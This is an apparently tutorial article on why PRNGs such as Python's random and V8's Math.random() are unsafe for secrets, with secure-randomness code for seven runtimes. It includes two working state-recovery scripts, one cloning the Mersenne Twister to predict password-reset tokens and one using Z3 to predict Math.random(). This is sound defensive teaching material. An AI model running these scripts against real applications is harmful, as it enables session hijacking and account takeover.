Every language ships two random number generators. One is fast, convenient, and the first result in every search: Math.random(), Python's random, Java's java.util.Random. The other is a little slower and a little more awkward to call. For simulations and games, the first is fine. For anything an attacker would like to guess (session tokens, password-reset links, API keys, encryption keys), only the second one is.
This article shows why, by doing the attacks. We clone Python's generator from 156 session tokens and predict the next password-reset link, and we recover V8's Math.random() from 4 values. Then we follow secure randomness down from the API you call, through the Linux kernel, to the noise in the CPU, and end with the safe code in seven runtimes. Every number below comes from code we ran.
The short answer#
PRNG vs. CSPRNG#
A pseudo-random number generator (PRNG) is a function that turns a small state into an output and a new state. Given the same state, it produces the same sequence forever. That's a feature: a simulation can be replayed from its seed. The design goal is speed and good statistics, meaning the outputs are evenly spread and uncorrelated, and these generators are excellent at it. We ran a chi-square test on 10 million bytes from Math.random() and from crypto.randomBytes: both scored inside the range expected from true randomness (244 and 234 in one run, 276 and 267 in the other, against about 212 to 302). Statistics can't tell them apart.
What statistics don't measure is whether someone who has seen some outputs can compute the next ones. For a normal PRNG, they can, because each output is a simple, reversible function of the state:
| Generator | Algorithm | State | Outputs to recover it |
|---|---|---|---|
Python random | Mersenne Twister (MT19937) | 624 × 32 bits | 624 32-bit outputs (tested) |
V8 Math.random() (Chrome, Node.js, Deno) | xorshift128+ | 128 bits | 4 doubles (tested) |
Java java.util.Random | 48-bit linear congruential | 48 bits | 2 nextInt() values and a 216 search |
.NET System.Random (unseeded, .NET 6+) | xoshiro256** | 256 bits | A few 64-bit outputs, the same way (not tested here) |
A cryptographically secure PRNG (CSPRNG) is still a deterministic algorithm, usually a stream cipher such as ChaCha20 or AES in counter mode, but it's built so its state can't be worked out from its output, and it's seeded and regularly reseeded from real-world noise. The next sections show what the difference means in practice.
Attack 1: cloning Python's random module#
A web app that makes its tokens with the random module. Both look perfectly random, and the module was seeded from os.urandom at startup, so there's no weak seed to guess:
# naive_app.py: what NOT to do. Session and password-reset tokens from the random module (Mersenne Twister).
import random
import string
ALPHABET = string.ascii_letters + string.digits
def new_session_token() -> str:
return f"{random.getrandbits(128):032x}" # looks like 128 random bits
def new_reset_token() -> str:
return "".join(random.choices(ALPHABET, k=32)) # looks like 190 random bitsThe Mersenne Twister keeps 624 words of 32 bits. Each output is one state word passed through a "tempering" function, a few shifts and XORs that are all reversible. So 624 consecutive outputs, untempered, are the state. A 128-bit session token is 4 outputs, so the attacker needs 156 of them: sign in 156 times, or read them from any place tokens leak (logs, a debug page, an API that returns them). Then they ask for a password reset for someone else's account:
# clone_mt.py: rebuild the Mersenne Twister from 156 session tokens, then predict the next password-reset token.
import random
import naive_app
def undo_right(y: int, shift: int) -> int: # inverts y ^= y >> shift
result = y
for _ in range(32 // shift + 1):
result = y ^ (result >> shift)
return result
def undo_left(y: int, shift: int, mask: int) -> int: # inverts y ^= (y << shift) & mask
result = y
for _ in range(32 // shift + 1):
result = y ^ ((result << shift) & mask)
return result & 0xFFFFFFFF
def untemper(y: int) -> int:
"""MT19937 scrambles each state word before output ("tempering"); every step is reversible."""
y = undo_right(y, 18)
y = undo_left(y, 15, 0xEFC60000)
y = undo_left(y, 7, 0x9D2C5680)
return undo_right(y, 11)
def clone(session_tokens: list[str]) -> random.Random:
words = []
for token in session_tokens:
n = int(token, 16)
words += [(n >> (32 * i)) & 0xFFFFFFFF for i in range(4)] # getrandbits(128) fills the low word first
state = [untemper(w) for w in words[-624:]] # the generator's whole state: 624 words of 32 bits
rng = random.Random()
rng.setstate((3, tuple(state) + (624,), None))
return rng
if __name__ == "__main__":
# The attacker signs in 156 times and keeps the session tokens (156 x 4 words = 624 outputs).
seen = [naive_app.new_session_token() for _ in range(156)]
twin = clone(seen)
predicted = "".join(twin.choices(naive_app.ALPHABET, k=32))
# Then asks for a password reset for the victim's account. The app emails the victim this token:
actual = naive_app.new_reset_token()
print("predicted:", predicted)
print("actual: ", actual)
print("match:", predicted == actual)predicted: vEcbgnLId3Vbjge5upP8MeoCKvumCgsu
actual: vEcbgnLId3Vbjge5upP8MeoCKvumCgsu
match: TrueWe repeated it 20 times with fresh seeds: 20 correct predictions, and the clone also predicted the next 1,000 session tokens each time. Building the clone takes under a millisecond. With 155 tokens (620 of the 624 words), it failed: the attack needs the whole state, but nothing more. The seed itself never matters, which is why "we seed it from os.urandom" doesn't help.
Attack 2: predicting Math.random()#
V8, the engine in Chrome, Node.js, and Deno, has used xorshift128+ since 2015: 128 bits of state, and each Math.random() is the top 53 bits of one half, divided by 253. (Older write-ups say 52 bits; in Node 24, 93 of 200 values were odd multiples of 2-53, which only 53 bits can produce.) Two details matter for an attacker:
- Every step is XORs and shifts, so the relation between the state and the outputs is a set of linear equations over bits. An SMT solver such as Z3 solves them directly.
- V8 doesn't generate one value per call. It fills a cache of 64 values and hands them out newest first, so the values you see come in reverse order of generation, and the values still to come were generated before the ones you saw.
# v8_predict.py: recover V8's Math.random() state from a few outputs with the Z3 solver, and predict what comes next.
# python v8_predict.py 0.196... 0.600... 0.262... 0.250... (values in the order Math.random() returned them)
import sys
from z3 import LShR, BitVec, Solver, sat
MASK = (1 << 64) - 1
def step(s0, s1):
"""One step of V8's xorshift128+. Returns the new (state0, state1); the output is new state0 >> 11."""
x, y = s0, s1
x ^= x << 23
x ^= LShR(x, 17)
x ^= y
x ^= LShR(y, 26)
return y, x
def step_back(s0: int, s1: int) -> tuple[int, int]:
"""The same step backwards: every operation in it is a reversible XOR-shift."""
old1 = s0
x = s1 ^ old1 ^ (old1 >> 26)
u = x
for _ in range(4): # undo u ^= u >> 17
u = x ^ (u >> 17)
old0 = u
for _ in range(3): # undo old0 ^= old0 << 23
old0 = (u ^ (old0 << 23)) & MASK
return old0, old1
def predict(observed: list[float], count: int = 20) -> list[float]:
# V8 fills a cache with a batch of values and hands them out newest first, so the values we saw were generated
# in reverse order. Solve for the state that produced the last one we saw (the oldest), stepping forward from it.
s0, s1 = BitVec("s0", 64), BitVec("s1", 64)
state, solver = (s0, s1), Solver()
for value in reversed(observed):
solver.add(LShR(state[0], 11) == int(value * 2**53)) # (state0 >> 11) / 2**53 is the double
state = step(*state)
if solver.check() != sat:
raise ValueError("no solution: the values aren't consecutive, or they span two batches")
s0, s1 = solver.model()[s0].as_long(), solver.model()[s1].as_long()
# The values still to come are the ones generated before it: step backwards.
upcoming = []
for _ in range(count):
s0, s1 = step_back(s0, s1)
upcoming.append((s0 >> 11) / 2**53)
return upcoming
if __name__ == "__main__":
for value in predict([float(v) for v in sys.argv[1:]]):
print(value)We ran it against three fresh Node.js 24 processes. From 4 consecutive values, it predicted the remaining 60 of the batch exactly, all three times, in about 2 ms. From 2 or 3 values it found a state that fit but was wrong: the low 11 bits of the second state word don't reach the top 53 bits until the fourth output, so 3 values leave 2,048 candidates. And the batches don't protect anything: the next batch of 64 is generated forward from the same state, and we predicted it too.
In a browser, four values are easy to come by: an ID generated with Math.random(), a "random" nonce, a shuffled order. On a server, they leak through anything built with it, which is why an ID like Math.random().toString(36).slice(2) must never be a secret.
What makes a generator cryptographically secure#
A CSPRNG has to meet three requirements that an ordinary PRNG ignores:
- The next-bit test. Given any number of previous outputs, no practical algorithm can predict the next bit with a probability meaningfully better than 50%. This is a computational guarantee, not a mathematical one: it holds as long as the underlying cipher isn't broken, the same assumption all of cryptography rests on.
- Backtracking resistance. If an attacker reads the state today, they still can't work out what was generated yesterday. Generators get this by replacing their key with fresh output after use, so the old state is gone ("fast key erasure").
- Recovery. After a compromise, new entropy mixed into the state makes future output unpredictable again.
ChaCha20 and AES-CTR meet the first requirement because predicting their keystream without the key would mean breaking the cipher. The other two come from how the kernel manages the key, which is the next layer down.
Where the randomness comes from: the kernel#
A computer is deterministic by design, so the kernel collects the few things that aren't: the exact timing of events. The Linux random driver adds a sample at every hardware interrupt (network packets, disk completions, timers) and at every keystroke and mouse movement, taking the CPU's cycle counter at that moment. The low bits of those timestamps are affected by things no attacker can see or control: cache misses, bus contention, clock drift between components. Since Linux 5.4, if there isn't enough at boot, the kernel makes its own noise by timing its own code, relying on the same jitter.
The design since Linux 5.17 and 5.18 (reworked by Jason Donenfeld, the author of WireGuard):
- Input pool: every sample is hashed into a 256-bit pool with BLAKE2s. On our Docker host (kernel 6.6),
/proc/sys/kernel/random/poolsizeshowed 256. - Seeding: once the pool has gathered enough, the kernel extracts a 256-bit key from it for a ChaCha20 generator (the "CRNG"), and keeps reseeding it as more noise arrives, at least once a minute.
- Output: each request runs ChaCha20 with that key, and the key is overwritten after use, which gives backtracking resistance. Each CPU has its own instance, so it scales across cores.
One consequence: there's no such thing as "running out" of randomness once the generator is seeded. A 256-bit ChaCha20 key can safely produce more output than any machine will ever ask for. Blocking reads when an "entropy estimate" ran low ended in 2020, and on our kernel entropy_avail simply showed 256.
/dev/random, /dev/urandom and getrandom()#
For decades, the advice about these two files was confusing because the kernel's behavior kept changing. Today it's simple:
| Kernel | What changed |
|---|---|
| Before 3.17 | /dev/random blocks whenever its entropy estimate runs low; /dev/urandom never blocks, even at early boot before it's seeded. |
| 3.17 (2014) | The getrandom() system call: blocks only until the generator is first seeded, then never. No file to open, so it works in a chroot or when file descriptors run out. |
| 4.8 (2016) | /dev/urandom output comes from ChaCha20. |
| 5.6 (2020) | /dev/random stops blocking once the generator is seeded. The entropy-estimate blocking is gone. |
| 5.17–5.18 (2022) | BLAKE2s replaces SHA-1; /dev/random and /dev/urandom become the same generator. The only difference left: /dev/urandom doesn't wait at boot. |
| 6.11 (2024) | getrandom() in the vDSO: the same output without a system call, for libraries that need lots of small random values. |
So in application code, use getrandom(), or the language API on top of it. Reading /dev/urandom is fine everywhere except very early in boot; /dev/random has no advantage left.
The hardware: RDRAND, RDSEED and RNDR#
Modern CPUs also have a hardware generator. Intel's, in every CPU since Ivy Bridge (2012), works in three stages: a pair of cross-coupled inverters is forced into an unstable state and settles to 0 or 1 depending on thermal noise; that raw bit stream is "conditioned" with AES-CBC-MAC to remove bias; and the result seeds an AES-based CTR_DRBG. RDSEED returns conditioned seed material; RDRAND returns DRBG output. AMD implements the same instructions, and ARMv8.5-A added RNDR and RNDRRS. Our Docker host's CPU listed both rdrand and rdseed.
Linux uses them, but it doesn't trust them alone: their output is mixed into the pool alongside the timing noise, so a backdoored or broken instruction can't make the result worse than the other sources. That has proved wise. In 2019, AMD Ryzen 3000 processors shipped with RDRAND returning the same value every time until a firmware update. In October 2025, AMD disclosed that the 16- and 32-bit forms of RDSEED on some Zen 5 processors can return 0 while reporting success (AMD-SB-7055, CVE-2025-62626). A system that used the instruction directly would have produced predictable keys; one that mixed it into the kernel pool would not.
What your runtime actually calls#
We traced the system calls with strace on Linux 6.6. Each runtime ends up at getrandom(), but not in the same way:
- Node.js: 1,000 calls to
crypto.randomBytes(16)made onegetrandom()call. Node uses OpenSSL's own CSPRNG, seeded from the kernel and reseeded periodically. - Python: 1,000 calls to
secrets.token_bytes(16)made 1,004: one per call, straight to the kernel. - Go: one per call on this kernel. Since Go 1.24,
crypto/randuses the vDSOgetrandom()on Linux 6.11 and later, which makes no system call at all.
On other systems, the equivalents are BCryptGenRandom on Windows and arc4random / getentropy on macOS and the BSDs; the language APIs below pick the right one for you.
The safe way in every runtime#
Each example makes the same things: a 256-bit key, a URL-safe token, and, where it applies, a six-digit PIN and a 20-character code from an alphabet. Each ran twice and produced well-formed, non-repeating output.
// safe.mjs: secure random values in Node.js. The getRandomValues line works unchanged in every modern browser.
import { randomBytes, randomInt, randomUUID } from "node:crypto";
const key = randomBytes(32); // a 256-bit key
const token = randomBytes(32).toString("base64url"); // 43 URL-safe characters
const id = randomUUID(); // UUID v4: 122 random bits
const pin = String(randomInt(1_000_000)).padStart(6, "0"); // uniform over 000000..999999
const bytes = crypto.getRandomValues(new Uint8Array(16)); // Web Crypto, global in Node and browsers
// A random string from an alphabet: pick each index with randomInt, never with byte % alphabet.length.
const ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
const code = Array.from({ length: 20 }, () => ALPHABET[randomInt(ALPHABET.length)]).join("");
console.log(JSON.stringify({ key: key.toString("hex"), token, id, pin, bytes: Buffer.from(bytes).toString("hex"), code }));# safe.py: secure random values in Python 3.6+. The secrets module reads from the OS generator (os.urandom).
import json
import secrets
import string
import uuid
key = secrets.token_bytes(32) # a 256-bit key
token = secrets.token_urlsafe(32) # 43 URL-safe characters
pin = f"{secrets.randbelow(1_000_000):06d}" # uniform over 000000..999999
alphabet = string.ascii_letters + string.digits
code = "".join(secrets.choice(alphabet) for _ in range(20))
id = uuid.uuid4() # also from os.urandom
print(json.dumps({"key": key.hex(), "token": token, "id": str(id), "pin": pin, "code": code}))// safe.go: secure random values in Go with crypto/rand (never math/rand for secrets).
package main
import (
"crypto/rand"
"encoding/base64"
"encoding/json"
"fmt"
"math/big"
"os"
)
func main() {
key := make([]byte, 32)
rand.Read(key) // since Go 1.24, Read never returns an error: it crashes the program rather than return weak bytes
tokenBytes := make([]byte, 32)
rand.Read(tokenBytes)
token := base64.RawURLEncoding.EncodeToString(tokenBytes)
text := rand.Text() // Go 1.24+: 26 base32 characters, 128 random bits
n, _ := rand.Int(rand.Reader, big.NewInt(1_000_000)) // uniform, no modulo bias
pin := fmt.Sprintf("%06d", n)
json.NewEncoder(os.Stdout).Encode(map[string]string{"key": fmt.Sprintf("%x", key), "token": token, "text": text, "pin": pin})
}// Safe.java: secure random values in Java with SecureRandom (never java.util.Random or Math.random() for secrets).
import java.security.SecureRandom;
import java.util.Base64;
import java.util.HexFormat;
public class Safe {
private static final SecureRandom RANDOM = new SecureRandom(); // create once, share: it's thread-safe
private static final String ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
public static void main(String[] args) {
byte[] key = new byte[32];
RANDOM.nextBytes(key);
byte[] tokenBytes = new byte[32];
RANDOM.nextBytes(tokenBytes);
String token = Base64.getUrlEncoder().withoutPadding().encodeToString(tokenBytes);
String pin = "%06d".formatted(RANDOM.nextInt(1_000_000)); // nextInt(bound) is unbiased
StringBuilder code = new StringBuilder();
for (int i = 0; i < 20; i++) code.append(ALPHABET.charAt(RANDOM.nextInt(ALPHABET.length())));
System.out.printf("{\"key\":\"%s\",\"token\":\"%s\",\"pin\":\"%s\",\"code\":\"%s\"}%n",
HexFormat.of().formatHex(key), token, pin, code);
}
}// Safe.cs: secure random values in .NET 8+ with RandomNumberGenerator (never System.Random for secrets).
// dotnet run Safe.cs (.NET 10 runs a single file directly)
using System.Security.Cryptography;
byte[] key = RandomNumberGenerator.GetBytes(32);
string token = Convert.ToBase64String(RandomNumberGenerator.GetBytes(32)).TrimEnd('=').Replace('+', '-').Replace('/', '_');
string pin = RandomNumberGenerator.GetInt32(1_000_000).ToString("D6"); // unbiased
string code = RandomNumberGenerator.GetString("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", 20);
Console.WriteLine($$"""{"key":"{{Convert.ToHexString(key)}}","token":"{{token}}","pin":"{{pin}}","code":"{{code}}"}""");# safe.sh: secure random values from a shell.
openssl rand -hex 32 # 64 hex characters (256 bits)
openssl rand -base64 32 | tr '+/' '-_' | tr -d '=' # 43 URL-safe characters
head -c 32 /dev/urandom | od -An -tx1 | tr -d ' \n'; echo # without OpenSSL: read the kernel's generator directlyA note on Go: its math/rand/v2 package uses ChaCha8 for its global generator, but it's still documented as unsuitable for security-sensitive work. Use crypto/rand. In the browser, crypto.getRandomValues and crypto.randomUUID are the whole API; for a deeper look at UUIDs, see UUID v4 vs. v7.
The modulo bias trap#
Even with secure bytes, the conversion to characters can leak. The obvious code, alphabet[byte % alphabet.length], is biased whenever 256 isn't a multiple of the alphabet length. With 62 characters, 256 = 4 × 62 + 8, so the first 8 characters each have 5 chances in 256, and the other 54 have 4. Over 10 million bytes, we measured it: the first 8 characters came up 1.25 times as often, in both runs. randomInt(62) came out at 1.002 and 1.000.
A 25% bias on some characters doesn't make a long token guessable, but it does cut its entropy, and it's exactly the kind of flaw that adds up. The fix is in every API above: randomInt, secrets.choice, rand.Int, SecureRandom.nextInt(bound), RandomNumberGenerator.GetInt32. They reject the values that would cause the bias and draw again.
Is it fast enough?#
| Call | Time |
|---|---|
Node.js Math.random() | About 5 ns |
Node.js crypto.randomBytes(16) | 1.4 µs |
Node.js crypto.getRandomValues, 16 bytes | 1.2–1.3 µs |
Node.js, 16 bytes taken from one 64 KB getRandomValues | 2.0–2.4 ns |
Node.js crypto.randomInt(62) | 20 ns |
Python random.getrandbits(128) | 39–40 ns |
Python secrets.token_bytes(16) | 253–255 ns |
The secure calls cost microseconds or less, and most of that is per-call overhead: bought in bulk, secure bytes in Node.js were as cheap as Math.random(). A server that makes a few thousand tokens per second won't notice the difference. Only a simulation that needs hundreds of millions of values should reach for the fast generator, and a simulation has no secrets to leak.
What we tested#
Everything ran in Docker: Node.js 24.22 (V8 13.6), Python 3.14 with Z3 4.15, Go 1.25, Java 25, .NET 10, and OpenSSL on Alpine, on a Linux 6.6 kernel. Seven checks passed, in two runs:
- The Mersenne Twister clone: 20 of 20 reset tokens and 20,000 session tokens predicted; 155 tokens not enough.
- Math.random(): 4 values predicted the rest of each batch and the next batch, in three fresh processes; 2 or 3 values didn't.
- The safe examples in Node.js, Python, Go, Java, C#, and the shell, run twice each: correct formats, no repeats.
- Modulo bias: 1.25 with
%, 1.00 withrandomInt. - Chi-square:
Math.random()andrandomBytesboth indistinguishable from uniform.
FAQ#
Is Math.random() fine if I seed it well?
You can't seed it, and it wouldn't help. Both attacks above recover the current state from outputs; the seed never comes into it.
Should I use /dev/random for keys, to be safe?
No. Since Linux 5.6, it no longer blocks once the system has booted, and since 5.18 it's the same generator as /dev/urandom. Use getrandom() or your language's API.
How many random bytes does a token need?
16 bytes (128 bits) is enough to make guessing impossible; 32 bytes is a common default and costs nothing. Our short UUID article works through the numbers for IDs.
Is crypto.randomUUID() secure?
Its 122 random bits come from the same CSPRNG, so it's unpredictable. But UUIDs get logged and shown in URLs more readily than things called "token", so for secrets, prefer an explicit random token.
What about Math.random() in a game or an A/B test?
Fine, as long as nobody gains anything by predicting it. A shuffled card deck in an online game with money on it is a secret; a random color for a chart isn't.
Try it in your browser
- UUID Generator: v4 UUIDs made with crypto.getRandomValues, the browser's CSPRNG.
- Short UUID Converter & Collision Calculator: work out how many random bits an ID needs before collisions or guessing become a problem.
- Encrypt / Decrypt: AES and ChaCha20 with keys, IVs and salts from crypto.getRandomValues.